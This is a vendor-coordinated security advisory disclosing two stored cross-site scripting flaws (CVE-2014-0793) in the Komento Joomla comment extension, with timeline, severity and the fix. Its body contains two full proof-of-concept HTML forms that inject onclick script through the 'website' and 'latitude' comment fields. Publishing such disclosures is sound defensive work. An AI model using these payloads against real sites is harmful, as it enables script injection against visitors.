Cross-Site Scripting (XSS) in Komento Joomla Extension
| Advisory ID: | HTB23194 |
| Product: | Komento Joomla Extension |
| Vendor: | Stack Ideas Sdn Bhd. |
| Vulnerable Versions: | 1.7.2 and probably prior |
| Tested Version: | 1.7.2 |
| Advisory Publication: | January 2, 2014 [without technical details] |
| Vendor Notification: | January 2, 2014 |
| Vendor Fix: | January 2, 2014 |
| Public Disclosure: | January 23, 2014 |
| Latest Update: | January 21, 2014 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| CVE Reference: | CVE-2014-0793 |
| Risk Level: | Medium |
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| CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
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Advisory Details: |
High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks.
1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793
1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author.
The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment:
<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl" value="component">
<input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='http://www.htbridge.com"
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value=''>
<input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>
1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author.
The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment:
<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl" value="component">
<input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='www.htbridge.com'>
<input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value='"
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form> |
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Solution: |
Update to Komento 1.7.3
More Informaion:
http://stackideas.com/downloads/changelog/komento |
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References: |
[1] High-Tech Bridge Advisory HTB23194 - https://www.immuniweb.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in Komento Joomla Extension.
[2] Komento Joomla Extension - http://stackideas.com/ - Komento is a Joomla comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST. |
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